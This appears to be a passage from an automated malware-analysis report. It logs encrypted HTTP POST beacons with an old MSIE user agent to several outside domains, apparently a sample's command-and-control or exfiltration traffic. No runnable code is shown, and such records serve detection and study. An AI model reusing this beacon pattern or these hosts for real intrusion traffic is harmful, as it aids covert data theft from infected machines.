35 79 6a 33 62 76 4c 52 77 50 78 32 4b 46 6a 76 79 71 2f 51 33 41 79 4d 51 42 4e 4a 78 58 54 65 36 52 79 45 5a 48 75 42 75 32 46 67 62 33 4c 44 61 6d 51 69 79 36 4d 31 50 48 32 41 4d 6e 59 4f 49 4d 53 33 50 4d 59 44 6b 73 2b 39 76 6e 71 41 41 68 7a 45 34 44 6c 76 4e 53 56 77 35 78 34 70 33 6a 48 30 42 35 66 43 33 33 45 52 4d 37 58 35 6a 33 2b 73 6c 7a 6b 59 42 54 6a 7a 71 79 7a 4e 31 52 6a 43 6f 6e 55 4c 6e 36 4e 6d 51 59 37 45 75 37 47 49 2b 64 42 45 4e 49 7a 61 59 63 30 6d 51 35 4d 74 38 57 46 4e 51 35 5a 50 58 36 69 79 55 72 4f 4d 52 79 6b 36 30 72 78 54 52 6e 48 58 66 31 58 6a 6f 38 66 69 67 64 4d 55 50 6f 37 54 65 67 4c 79 35 33 79 34 58 7a 65 74 2b 4f 34 57 6d 65 33 42 58 64 38 79 45 67 32 4e 5a 36 6c 4c 4b 6f 71 4a 6c 5a 42 53 79 6d 42 43 70 47 56 66 59 42 2b 58 50 70 68 63 41 65 57 30 2b 42 34 6e 4e 70 5a 44 4f 38 59 70 4b 6f 70 46 6a 66 56 57 32 7a 4f 48 67 61 4a 63 77 74 71 38 48 6f 58 6f 2b 48 50 69 6c Data Ascii: 99Lu+uD/kfW625SlMzGs3ROWpvVIzKWKFMVuUcGxJlN9ZqATdK3RjA/LUYwd1oZBIH5X59/RKb7um5IIR7QxCk5aSVKdGpGPgzJdngh/SXSc3QDOSLTxtiIwQf/E4ZNVpEXie+b+JN/H2cJjcNS4VkWoqhvnQaS3WA969EDodWJzXsbqTnYoUoULKdD/pX3eU+gFMXzbN+2W1qwIH+FSlD2WG/ULQ/OqKWsUpMb5yj3bvLRwPx2KFjvyq/Q3AyMQBNJxXTe6RyEZHuBu2Fgb3LDamQiy6M1PH2AMnYOIMS3PMYDks+9vnqAAhzE4DlvNSVw5x4p3jH0B5fC33ERM7X5j3+slzkYBTjzqyzN1RjConULn6NmQY7Eu7GI+dBENIzaYc0mQ5Mt8WFNQ5ZPX6iyUrOMRyk60rxTRnHXf1Xjo8figdMUPo7TegLy53y4Xzet+O4Wme3BXd8yEg2NZ6lLKoqJlZBSymBCpGVfYB+XPphcAeW0+B4nNpZDO8YpKopFjfVW2zOHgaJcwtq8HoXo+HPil
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 604User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.item-pr.comCache-Control: no-cacheData Raw: 6d 5a 47 30 72 44 67 38 65 50 59 4b 65 31 30 72 75 31 49 41 69 69 73 49 6c 47 61 41 57 78 70 73 37 46 4c 68 4d 63 79 34 6d 34 66 75 76 36 6f 32 58 76 30 43 74 43 66 6c 30 39 73 33 68 2b 50 69 6b 66 79 64 70 39 74 68 77 47 73 5a 66 74 57 49 36 70 52 51 36 61 51 38 58 52 68 52 57 43 6f 68 79 62 61 46 75 43 2f 79 4c 78 73 43 7a 4f 56 39 42 52 46 52 37 63 44 43 4f 70 4d 7a 63 79 64 6e 47 6f 74 32 32 79 7a 52 57 2f 4c 34 4c 42 71 57 4b 52 4a 4f 71 38 7a 49 79 43 51 43 31 33 6d 42 79 2b 61 75 6e 67 2b 58 50 67 39 6f 6c 4e 59 53 74 72 30 6b 76 45 42 67 58 7a 6c 37 47 48 55 67 2b 53 49 44 68 49 62 61 5a 34 44 4f 68 63 48 5a 49 37 61 43 64 61 2f 58 34 61 63 45 4b 57 42 69 39 35 56 66 37 35 52 76 6f 42 69 51 50 6b 72 42 34 38 4d 35 6e 64 75 6a 5a 44 62 2b 6a 5a 70 4d 5a 6c 77 2b 31 67 33 6e 52 42 7a 6d 78 31 6e 61 73 62 47 61 49 7a 65 79 59 2b 71 49 31 2f 44 68 34 6a 6a 44 39 33 77 57 4f 79 36 2b 51 47 39 39 34 51 6b 4c 6c 44 6f 43 4c 58 35 6e 54 77 4d 30 63 72 51 71 6a 37 39 53 62 4b 2f 6f 30 57 6d 6f 4a 65 43 33 74 4c 48 66 4c 74 34 4e 68 4f 6d 65 44 6b 48 61 44 5a 49 71 58 55 63 33 67 38 69 4f 44 4a 4d 4a 66 52 44 73 66 45 33 42 2b 5a 67 64 65 6e 63 4e 33 50 6d 30 36 76 33 54 52 48 79 4a 72 4d 4f 35 48 54 32 64 50 68 49 77 46 6b 51 70 69 7a 4e 55 77 6c 61 59 69 71 51 6f 76 73 49 43 58 2f 2f 52 72 51 6a 6a 4a 55 4e 59 44 6e 30 70 64 7a 48 62 46 6d 74 6d 39 6d 4d 41 79 41 50 48 6d 61 76 72 43 42 64 70 46 6d 6c 65 45 41 52 76 34 75 48 78 49 47 51 67 48 6d 41 76 65 53 36 4e 54 45 44 78 49 2f 78 4d 77 42 42 43 42 4f 44 48 4c 57 65 78 45 6b 43 7a 6d 55 72 65 67 53 38 74 6d 75 58 64 32 77 6c 5a 7a 6b 6c 43 52 64 70 6f 70 6a 6f 4e 62 43 6f 32 70 65 74 57 55 7a 61 70 4f 77 41 4d 65 55 6c 49 4f 74 53 52 2b 77 54 6a 4d 53 6b 4e 44 76 39 38 70 77 62 62 44 61 35 33 74 58 30 56 70 54 4a 6d 35 51 3d 3d Data Ascii: mZG0rDg8ePYKe10ru1IAiisIlGaAWxps7FLhMcy4m4fuv6o2Xv0CtCfl09s3h+Pikfydp9thwGsZftWI6pRQ6aQ8XRhRWCohybaFuC/yLxsCzOV9BRFR7cDCOpMzcydnGot22yzRW/L4LBqWKRJOq8zIyCQC13mBy+aung+XPg9olNYStr0kvEBgXzl7GHUg+SIDhIbaZ4DOhcHZI7aCda/X4acEKWBi95Vf75RvoBiQPkrB48M5ndujZDb+jZpMZlw+1g3nRBzmx1nasbGaIzeyY+qI1/Dh4jjD93wWOy6+QG994QkLlDoCLX5nTwM0crQqj79SbK/o0WmoJeC3tLHfLt4NhOmeDkHaDZIqXUc3g8iODJMJfRDsfE3B+ZgdencN3Pm06v3TRHyJrMO5HT2dPhIwFkQpizNUwlaYiqQovsICX//RrQjjJUNYDn0pdzHbFmtm9mMAyAPHmavrCBdpFmleEARv4uHxIGQgHmAveS6NTEDxI/xMwBBCBODHLWexEkCzmUregS8tmuXd2wlZzklCRdpopjoNbCo2petWUzapOwAMeUlIOtSR+wTjMSkNDv98pwbbDa53tX0VpTJm5Q==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.depalo.comCache-Control: no-cacheData Raw: 51 58 53 53 75 53 32 6e 65 50 61 67 7a 45 43 4b 4a 46 36 51 4a 75 61 7a 34 76 55 62 62 6d 4e 72 73 54 70 75 76 59 6a 4b 6b 56 79 62 62 77 6b 53 47 6b 38 49 4d 2f 67 47 6c 64 47 70 30 44 68 63 34 39 6c 73 2b 44 6a 70 6c 2f 4e 67 6c 59 39 30 4a 78 55 6d 66 5a 61 34 69 59 44 42 39 39 79 43 44 6b 54 39 67 69 69 44 58 4b 79 38 65 31 42 57 4b 77 61 2f 73 79 49 66 4a 6e 56 4c 42 50 73 65 44 67 6b 64 59 64 6c 6c 77 49 59 79 42 37 75 76 46 54 69 4e 70 76 4f 52 6f 56 74 62 71 77 39 56 6a 79 51 36 30 57 68 68 74 77 37 65 72 69 41 44 73 5a 31 64 41 54 70 51 33 44 6e 38 4f 79 43 33 6a 52 69 4b 74 59 76 72 7a 61 69 35 6f 62 6e 6a 72 57 51 47 79 38 50 33 71 38 74 49 4a 2f 63 65 6f 79 2b 64 6b 61 55 5a 41 73 62 36 47 35 75 31 4a 4a 70 79 47 6a 72 70 4c 48 63 79 6b 66 41 53 53 64 63 51 56 4d 45 30 32 68 53 4e 77 32 75 52 77 33 51 45 43 5a 51 38 57 7a 4c 46 6c 43 2f 4b 70 50 4f 55 50 72 70 54 57 48 49 62 75 59 66 30 77 78 30 6f 67 43 55 48 6f 6f 51 57 79 76 4a 2b 64 6c 38 52 6e 34 75 53 74 79 46 42 50 6b 75 64 6a 6c 50 31 30 69 2b 54 44 33 71 57 66 79 34 32 4e 42 6e 42 61 68 58 47 55 48 31 75 33 71 6a 56 4f 6b 6d 43 4a 4c 36 56 70 31 70 4a 62 78 45 6a 54 46 6a 67 54 6a 43 50 68 4e 6a 76 2b 6a 33 6d 69 49 48 64 39 50 62 72 4f 5a 4a 49 71 43 47 41 66 51 52 35 38 6b 4d 46 54 6a 63 76 59 79 4b 76 52 32 2f 49 76 75 33 4d 51 64 45 6d 50 4c 6e 64 49 50 47 43 4b 63 69 62 73 55 43 42 67 64 59 39 58 4e 33 64 31 4c 53 47 70 77 43 61 38 4b 6e 58 72 75 58 62 6d 6a 78 4a 32 73 43 31 6a 4b 33 6d 66 59 31 37 75 36 6a 42 5a 55 65 59 44 53 64 37 39 52 61 45 69 70 43 6b 4d 4a 48 53 6c 44 67 4f 48 2b 5a 6d 79 63 45 58 50 66 50 4b 55 31 49 38 4d 70 4c 39 4c 33 7a 71 50 61 4c 65 72 59 62 69 33 77 56 4c 73 57 63 69 6a 51 3d 3d Data Ascii: QXSSuS2nePagzECKJF6QJuaz4vUbbmNrsTpuvYjKkVybbwkSGk8IM/gGldGp0Dhc49ls+Djpl/NglY90JxUmfZa4iYDB99yCDkT9giiDXKy8e1BWKwa/syIfJnVLBPseDgkdYdllwIYyB7uvFTiNpvORoVtbqw9VjyQ60Whhtw7eriADsZ1dATpQ3Dn8OyC3jRiKtYvrzai5obnjrWQGy8P3q8tIJ/ceoy+dkaUZAsb6G5u1JJpyGjrpLHcykfASSdcQVME02hSNw2uRw3QECZQ8WzLFlC/KpPOUPrpTWHIbuYf0wx0ogCUHooQWyvJ+dl8Rn4uStyFBPkudjlP10i+TD3qWfy42NBnBahXGUH1u3qjVOkmCJL6Vp1pJbxEjTFjgTjCPhNjv+j3miIHd9PbrOZJIqCGAfQR58kMFTjcvYyKvR2/Ivu3MQdEmPLndIPGCKcibsUCBgdY9XN3d1LSGpwCa8KnXruXbmjxJ2sC1jK3mfY17u6jBZUeYDSd79RaEipCkMJHSlDgOH+ZmycEXPfPKU1I8MpL9L3zqPaLerYbi3wVLsWcijQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.mqs.com.brCache-Control: no-cacheData Raw: 72 4b 79 47 69 6c 30 76 58 76 62 4b 52 30 6c 42 6c 47 6b 72 35 70 62 62 32 6e 73 4c 51 76 33 34 34 62 55 45 32 77 79 59 41 54 7a 6b 38 4b 43 38 44 75 75 47 71 72 4e 62 64 4d 37 48 51 2b 44 45 39 34 70 58 6c 68 2b 41 42 4f 74 72 4a 6c 68 4f 2f 63 67 72 45 41 38 64 45 41 32 63 66 38 38 70 66 49 4d 66 4b 4c 77 30 6b 48 71 7a 52 42 6f 64 63 41 64 35 4a 65 6d 51 38 39 79 48 68 41 62 62 42 54 5a 6e 47 2b 6b 49 76 35 70 58 43 2f 63 31 48 39 75 47 48 44 63 6d 47 32 43 66 4e 45 4a 46 45 4f 61 34 36 70 57 79 52 34 57 39 50 62 55 65 32 73 4c 57 38 49 4e 65 33 31 30 37 55 76 51 53 62 61 54 6d 4c 63 6a 4e 79 66 48 48 52 52 78 44 6a 46 54 52 59 69 49 4e 64 4f 53 2b 6c 66 70 42 6b 4a 5a 41 63 70 73 6a 70 65 57 44 59 39 33 7a 58 37 7a 66 4f 2b 68 38 72 79 76 6a 58 4d 72 45 4f 61 79 71 7a 6c 51 73 70 2b 41 65 69 67 57 2b 41 76 62 6c 69 56 7a 69 37 70 58 7a 53 2f 35 71 66 53 56 79 67 52 45 79 58 70 55 33 4c 62 54 45 66 44 44 56 75 68 5a 34 4e 65 52 35 74 32 45 76 61 36 4a 6c 66 30 39 48 44 72 61 6b 4a 6f 55 2f 62 54 75 45 77 71 31 45 61 52 4a 30 78 30 62 30 50 2b 56 6b 68 79 59 6f 67 73 68 6d 67 42 31 49 59 32 6b 44 61 42 4b 72 77 48 4b 45 4a 4a 77 30 43 63 6e 79 36 35 2b 72 6a 42 39 75 46 45 49 75 54 72 6d 42 74 62 33 68 49 71 5a 33 52 32 71 32 35 59 52 43 61 58 6c 7a 57 34 69 42 53 46 4b 31 56 2f 53 57 79 5a 58 4a 71 71 78 63 6b 4a 67 6b 36 53 50 75 34 4d 7a 44 61 70 32 48 72 63 71 31 69 50 46 30 4f 56 55 47 48 32 72 43 63 52 63 64 5a 33 4d 54 33 59 59 31 67 31 62 53 6c 61 48 49 58 61 64 61 4b 75 2b 54 44 77 4e 74 58 41 32 31 67 71 6f 6e 62 78 76 50 56 4c 4a 62 4d 36 37 33 4f 38 50 69 5a 67 48 7a Data Ascii: rKyGil0vXvbKR0lBlGkr5pbb2nsLQv344bUE2wyYATzk8KC8DuuGqrNbdM7HQ+DE94pXlh+ABOtrJlhO/cgrEA8dEA2cf88pfIMfKLw0kHqzRBodcAd5JemQ89yHhAbbBTZnG+kIv5pXC/c1H9uGHDcmG2CfNEJFEOa46pWyR4W9PbUe2sLW8INe3107UvQSbaTmLcjNyfHHRRxDjFTRYiINdOS+lfpBkJZAcpsjpeWDY93zX7zfO+h8ryvjXMrEOayqzlQsp+AeigW+AvbliVzi7pXzS/5qfSVygREyXpU3LbTEfDDVuhZ4NeR5t2Eva6Jlf09HDrakJoU/bTuEwq1EaRJ0x0b0P+VkhyYogshmgB1IY2kDaBKrwHKEJJw0Ccny65+rjB9uFEIuTrmBtb3hIqZ3R2q25YRCaXlzW4iBSFK1V/SWyZXJqqxckJgk6SPu4MzDap2Hrcq1iPF0OVUGH2rCcRcdZ3MT3YY1g1bSlaHIXadaKu+TDwNtXA21gqonbxvPVLJbM673O8PiZgHz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.alteor.clCache-Control: no-cacheData Raw: 54 53 78 30 52 57 59 41 51 2f 62 51 52 48 35 31 41 5a 7a 30 65 59 6b 57 41 43 35 47 52 75 61 62 2b 6a 4a 2b 59 69 6a 59 4f 76 51 6e 74 7a 38 58 79 44 72 46 57 4c 30 5a 6c 62 78 65 58 50 6a 4f 47 33 2f 45 45 71 31 79 49 70 41 56 37 77 34 56 56 35 50 66 57 35 59 74 72 73 77 53 61 59 53 51 34 46 70 31 79 51 46 36 41 4f 46 4e 6e 2b 70 65 6d 62 76 69 58 4a 71 4c 33 72 36 6a 30 62 77 4c 59 47 49 58 6f 4c 59 44 67 58 54 59 55 46 4b 45 6f 38 53 6f 4a 61 53 55 6f 66 6f 4f 47 55 79 62 77 65 37 6d 70 77 46 33 39 4f 45 33 47 4c 56 6b 37 30 6b 39 68 32 41 51 30 57 77 32 75 37 63 61 72 45 66 37 33 37 46 75 5a 44 30 79 4a 56 69 57 5a 73 50 41 2f 4f 53 69 79 69 6f 33 59 57 49 64 43 44 4b 78 64 4e 74 62 74 69 79 68 59 56 6d 36 38 31 2f 30 54 36 75 4c 62 65 51 2f 45 6e 79 32 44 39 75 47 6b 54 6c 7a 6f 6c 77 58 33 53 74 35 35 73 77 4f 50 59 2b 61 51 4c 72 58 56 47 52 69 31 46 56 43 62 33 2f 52 72 6d 4f 6c 55 51 41 6e 42 41 4a 54 48 4b 52 4e 4f 42 73 52 2f 6d 74 38 6b 7a 78 76 7a 4e 46 50 72 76 69 31 41 49 69 43 6e 31 41 42 33 59 34 49 4d 73 49 51 38 45 67 76 44 51 37 79 49 67 65 6c 6d 73 76 5a 4f 31 34 6e 76 62 58 4b 71 57 57 2f 5a 79 57 43 39 61 58 4e 78 42 4e 35 78 77 4f 47 71 46 4f 46 68 31 74 42 37 2f 58 4a 68 41 32 48 49 37 4f 70 6f 68 77 56 37 70 4f 4e 53 73 58 39 61 38 69 79 70 42 43 72 65 34 48 44 74 73 61 55 6e 78 67 51 42 43 2b 30 64 76 5a 6f 64 37 77 48 78 41 77 33 41 35 4d 6b 77 72 61 68 57 31 50 34 5a 4d 45 44 72 68 56 35 76 67 39 37 66 59 6b 33 52 77 49 61 4a 30 68 49 2f 6c 34 38 5a 51 75 74 37 66 45 54 53 65 75 4a 72 70 34 2f 39 36 70 38 58 34 36 64 50 68 39 78 55 6c 4e 50 5a 2b 6b 6b 78 65 70 47 54 6c 50 38 4e 4e 6c 52 36 42 46 39 7a 4a 74 4e 6e 54 35 5a 76 55 48 31 73 44 34 34 73 48 4f 6a 6f 37 67 35 61 75 41 53 43 6c 41 3d Data Ascii: TSx0RWYAQ/bQRH51AZz0eYkWAC5GRuab+jJ+YijYOvQntz8XyDrFWL0ZlbxeXPjOG3/EEq1yIpAV7w4VV5PfW5YtrswSaYSQ4Fp1yQF6AOFNn+pembviXJqL3r6j0bwLYGIXoLYDgXTYUFKEo8SoJaSUofoOGUybwe7mpwF39OE3GLVk70k9h2AQ0Ww2u7carEf737FuZD0yJViWZsPA/OSiyio3YWIdCDKxdNtbtiyhYVm681/0T6uLbeQ/Eny2D9uGkTlzolwX3St55swOPY+aQLrXVGRi1FVCb3/RrmOlUQAnBAJTHKRNOBsR/mt8kzxvzNFPrvi1AIiCn1AB3Y4IMsIQ8EgvDQ7yIgelmsvZO14nvbXKqWW/ZyWC9aXNxBN5xwOGqFOFh1tB7/XJhA2HI7OpohwV7pONSsX9a8iypBCre4HDtsaUnxgQBC+0dvZod7wHxAw3A5MkwrahW1P4ZMEDrhV5vg97fYk3RwIaJ0hI/l48ZQut7fETSeuJrp4/96p8X46dPh9xUlNPZ+kkxepGTlP8NNlR6BF9zJtNnT5ZvUH1sD44sHOjo7g5auASClA=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 39 39 4c 75 2b 75 44 2f 6b 66 57 36 32 35 53 6c 4d 7a 47 73 33 52 4f 57 70 76 56 49 7a 4b 57 4b 46 4d 56 75 55 63 47 78 4a 6c 4e 39 5a 71 41 54 64 4b 33 52 6a 41 2f 4c 55 59 77 64 31 6f 5a 42 49 48 35 58 35 39 2f 52 4b 62 37 75 6d 35 49 49 52 37 51 78 43 6b 35 61 53 56 4b 64 47 70 47 50 67 7a 4a 64 6e 67 68 2f 53 58 53 63 33 51 44 4f 53 4c 54 78 74 69 49 77 51 66 2f 45 34 5a 4e 56 70 45 58 69 65 2b 62 2b 4a 4e 2f 48 32 63 4a 6a 63 4e 53 34 56 6b 57 6f 71 68 76 6e 51 61 53 33 57 41 39 36 39 45 44 6f 64 57 4a 7a 58 73 62 71 54 6e 59 6f 55 6f 55 4c 4b 64 44 2f 70 58 33 65 55 2b 67 46 4d 58 7a 62 4e 2b 32 57 31 71 77 49 48 2b 46 53 6c 44 32 57 47 2f 55 4c 51 2f 4f 71 4b 57 73 55 70 4d 62 35 79 6a 33 62 76 4c 52 77 50 78 32 4b 46 6a 76 79 71 2f 51 33 41 79 4d 51 42 4e 4a 78 58 54 65 36 52 79 45 5a 48 75 42 75 32 46 67 62 33 4c 44 61 6d 51 69 79 36 4d 31 50 48 32 41 4d 6e 59 4f 49 4d 53 33 50 4d 59 44 6b 73 2b 39 76 6e 71 41 41 68 7a 45 34 44 6c 76 4e 53 56 77 35 78 34 70 33 6a 48 30 42 35 66 43 33 33 45 52 4d 37 58 35 6a 33 2b 73 6c 7a 6b 59 42 54 6a 7a 71 79 7a 4e 31 52 6a 43 6f 6e 55 4c 6e 36 4e 6d 51 59 37 45 75 37 47 49 2b 64 42 45 4e 49 7a 61 59 63 30 6d 51 35 4d 74 38 57 46 4e 51 35 5a 50 58 36 69 79 55 72 4f 4d 52 79 6b 36 30 72 78 54 52 6e 48 58 66 31 58 6a 6f 38 66 69 67 64 4d 55 50 6f 37 54 65 67 4c 79 35 33 79 34 58 7a 65 74 2b 4f 34 57 6d 65 33 42 58 64 38 79 45 67 32 4e 5a 36 6c 4c 4b 6f 71 4a 6c 5a 42 53 79 6d 42 43 70 47 56 66 59 42 2b 58 50 70 68 63 41 65 57 30 2b 42 34 6e 4e 70 5a 44 4f 38 59 70 4b 6f 70 46 6a 66 56 57 32 7a 4f 48 67 61 4a 63 77 74 71 38 48 6f 58 6f 2b 48 50 69 6c Data Ascii: 99Lu+uD/kfW625SlMzGs3ROWpvVIzKWKFMVuUcGxJlN9ZqATdK3RjA/LUYwd1oZBIH5X59/RKb7um5IIR7QxCk5aSVKdGpGPgzJdngh/SXSc3QDOSLTxtiIwQf/E4ZNVpEXie+b+JN/H2cJjcNS4VkWoqhvnQaS3WA969EDodWJzXsbqTnYoUoULKdD/pX3eU+gFMXzbN+2W1qwIH+FSlD2WG/ULQ/OqKWsUpMb5yj3bvLRwPx2KFjvyq/Q3AyMQBNJxXTe6RyEZHuBu2Fgb3LDamQiy6M1PH2AMnYOIMS3PMYDks+9vnqAAhzE4DlvNSVw5x4p3jH0B5fC33ERM7X5j3+slzkYBTjzqyzN1RjConULn6NmQY7Eu7GI+dBENIzaYc0mQ5Mt8WFNQ5ZPX6iyUrOMRyk60rxTRnHXf1Xjo8figdMUPo7TegLy53y4Xzet+O4Wme3BXd8yEg2NZ6lLKoqJlZBSymBCpGVfYB+XPphcAeW0+B4nNpZDO8YpKopFjfVW2zOHgaJcwtq8HoXo+HPil
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.rs-ag.comCache-Control: no-cacheData Raw: 49 31 68 33 6d 6a 30 58 30 2f 5a 52 69 61 4e 5a 39 47 39 65 4a 58 5a 75 58 4b 56 72 74 2f 59 4d 77 53 4e 57 45 79 78 73 50 69 71 32 66 2b 38 68 41 62 72 54 77 46 68 35 75 41 75 76 36 32 6a 53 4e 75 6c 78 64 73 41 6c 49 4f 67 68 7a 39 33 53 52 36 63 5a 59 79 73 7a 49 37 46 79 30 79 64 38 4e 7a 74 43 41 61 44 46 2b 49 54 4f 31 75 49 68 43 64 48 31 66 76 74 6b 53 43 53 6c 4d 42 4e 47 38 73 2f 33 70 58 4c 55 4b 51 66 59 64 56 50 54 76 58 5a 68 35 71 6a 39 32 79 34 48 4f 58 49 39 33 74 71 39 77 41 6b 42 35 75 32 66 57 53 63 64 30 4f 46 33 55 63 7a 4a 42 66 47 6e 55 65 78 2f 43 49 54 2b 51 6e 37 58 6a 44 79 44 46 67 46 4e 39 32 32 6d 42 56 61 75 64 7a 2f 50 64 32 75 45 30 67 39 34 51 53 7a 70 61 50 38 33 57 5a 42 61 6c 33 74 69 70 77 70 73 48 42 37 33 6c 62 50 43 57 56 72 4d 42 75 31 6d 37 6d 7a 33 69 6d 6a 79 41 38 57 6e 66 53 44 36 79 6a 72 4a 53 75 53 58 76 31 2b 68 4a 53 74 62 51 6a 69 52 6f 65 45 53 59 59 43 52 30 4e 52 58 2f 47 30 56 4c 44 56 55 6a 5a 68 73 59 66 4f 75 38 51 77 55 50 45 36 76 63 37 51 7a 36 65 7a 4b 42 4f 6f 72 4e 42 77 2b 55 30 62 50 69 68 76 46 37 35 44 6c 77 6e 49 42 30 4c 79 70 77 38 77 49 4a 30 34 61 69 44 68 67 61 49 36 41 6e 45 45 34 59 79 5a 74 56 5a 58 6d 45 71 39 61 4e 2f 78 70 59 63 6f 34 4f 37 2b 6b 49 68 6f 37 45 74 34 30 30 6b 51 6f 4f 38 77 33 6d 74 4c 75 78 50 68 4e 46 4a 49 68 50 66 55 6a 64 39 5a 66 35 35 6f 4d 70 78 4c 34 4e 44 7a 70 33 36 34 70 57 5a 73 4a 2f 38 37 6d 36 66 43 38 69 75 5a 2b 78 47 42 69 70 70 59 42 42 69 2b 62 77 31 51 4f 55 38 37 34 48 58 39 79 6d 53 4d 71 71 67 51 37 55 72 70 56 4f 36 77 62 4f 2b 4b 32 53 33 54 31 55 7a 51 73 55 51 55 47 68 2f 6f 73 79 63 4a 72 70 57 54 62 61 6f 30 36 31 7a 6b 44 34 6f 55 71 2f 6f 69 30 4a 6d 4c 6d 45 76 67 72 7a 50 68 41 47 73 49 3d Data Ascii: I1h3mj0X0/ZRiaNZ9G9eJXZuXKVrt/YMwSNWEyxsPiq2f+8hAbrTwFh5uAuv62jSNulxdsAlIOghz93SR6cZYyszI7Fy0yd8NztCAaDF+ITO1uIhCdH1fvtkSCSlMBNG8s/3pXLUKQfYdVPTvXZh5qj92y4HOXI93tq9wAkB5u2fWScd0OF3UczJBfGnUex/CIT+Qn7XjDyDFgFN922mBVaudz/Pd2uE0g94QSzpaP83WZBal3tipwpsHB73lbPCWVrMBu1m7mz3imjyA8WnfSD6yjrJSuSXv1+hJStbQjiRoeESYYCR0NRX/G0VLDVUjZhsYfOu8QwUPE6vc7Qz6ezKBOorNBw+U0bPihvF75DlwnIB0Lypw8wIJ04aiDhgaI6AnEE4YyZtVZXmEq9aN/xpYco4O7+kIho7Et400kQoO8w3mtLuxPhNFJIhPfUjd9Zf55oMpxL4NDzp364pWZsJ/87m6fC8iuZ+xGBippYBBi+bw1QOU874HX9ymSMqqgQ7UrpVO6wbO+K2S3T1UzQsUQUGh/osycJrpWTbao061zkD4oUq/oi0JmLmEvgrzPhAGsI=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 552User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pr-park.comCache-Control: no-cacheData Raw: 71 59 70 70 4f 50 58 2b 6b 2f 58 63 37 62 42 76 58 49 4e 31 6b 75 36 47 4f 31 36 44 68 63 4b 33 2b 57 71 6f 62 63 5a 68 4c 6e 39 52 6b 47 36 46 31 51 49 6a 73 55 38 4f 39 44 4c 4a 54 66 7a 75 74 37 77 70 38 67 46 45 58 33 4b 75 2b 53 49 78 30 6c 50 2b 4e 4d 4d 59 62 39 6f 6a 67 79 41 52 55 6c 46 6e 35 31 67 63 48 4b 45 75 51 74 68 67 4a 39 31 4a 57 2b 43 50 6a 69 72 6d 61 48 4d 4c 51 34 2f 73 6e 53 46 6c 68 38 45 32 41 45 51 54 79 4b 53 32 55 68 67 42 41 32 56 30 33 77 76 36 47 50 32 5a 55 55 4c 31 5a 67 79 37 72 56 31 6e 6f 50 6b 41 34 37 55 71 34 4d 31 6d 6b 57 79 69 65 74 52 78 49 65 41 71 41 4a 35 38 36 51 70 42 37 68 39 73 44 58 6c 39 4d 72 72 33 64 65 79 58 4e 62 7a 5a 6f 54 34 36 35 63 51 43 5a 67 6f 74 73 7a 68 69 57 4d 32 56 4c 59 71 56 54 31 66 4c 6d 74 57 4e 4f 4f 64 56 7a 4d 58 77 65 78 5a 51 62 75 74 53 71 6e 57 63 48 45 6f 2f 53 6a 61 6d 48 2b 4e 4f 50 47 38 33 30 54 50 48 71 6f 71 5a 63 74 61 7a 41 56 6f 6d 4d 37 79 39 57 6c 52 2b 65 4b 32 4a 48 4a 2b 6a 4a 35 36 47 52 64 4e 77 61 52 56 6d 31 61 6b 52 76 30 6b 4f 62 43 36 6d 70 69 74 65 4e 59 48 6d 34 32 66 41 52 59 6c 43 77 72 46 4e 42 75 48 74 4a 7a 38 6a 48 43 6f 6d 61 32 6b 76 61 2f 66 56 56 59 64 51 76 39 6d 73 48 45 6c 4a 72 6e 34 42 4f 6a 30 4b 6a 63 34 51 32 32 43 6b 39 64 49 32 42 45 38 44 79 42 70 49 37 32 57 67 53 43 78 30 57 75 67 44 37 54 66 47 4d 66 42 38 35 77 55 59 41 51 62 63 65 47 61 6f 61 62 56 66 59 4d 4d 54 4a 4f 41 4f 73 35 51 79 55 6a 55 6c 5a 2b 75 6c 42 53 77 59 56 73 65 5a 4d 37 77 6e 32 2b 47 44 38 73 38 79 73 78 68 62 76 33 38 75 71 32 43 76 2b 4b 74 34 6c 77 38 57 37 39 71 68 4e 36 37 4f 76 4f 6e 6d 32 5a 5a 72 54 4b 70 72 62 76 61 33 Data Ascii: qYppOPX+k/Xc7bBvXIN1ku6GO16DhcK3+WqobcZhLn9RkG6F1QIjsU8O9DLJTfzut7wp8gFEX3Ku+SIx0lP+NMMYb9ojgyARUlFn51gcHKEuQthgJ91JW+CPjirmaHMLQ4/snSFlh8E2AEQTyKS2UhgBA2V03wv6GP2ZUUL1Zgy7rV1noPkA47Uq4M1mkWyietRxIeAqAJ586QpB7h9sDXl9Mrr3deyXNbzZoT465cQCZgotszhiWM2VLYqVT1fLmtWNOOdVzMXwexZQbutSqnWcHEo/SjamH+NOPG830TPHqoqZctazAVomM7y9WlR+eK2JHJ+jJ56GRdNwaRVm1akRv0kObC6mpiteNYHm42fARYlCwrFNBuHtJz8jHComa2kva/fVVYdQv9msHElJrn4BOj0Kjc4Q22Ck9dI2BE8DyBpI72WgSCx0WugD7TfGMfB85wUYAQbceGaoabVfYMMTJOAOs5QyUjUlZ+ulBSwYVseZM7wn2+GD8s8ysxhbv38uq2Cv+Kt4lw8W79qhN67OvOnm2ZZrTKprbva3
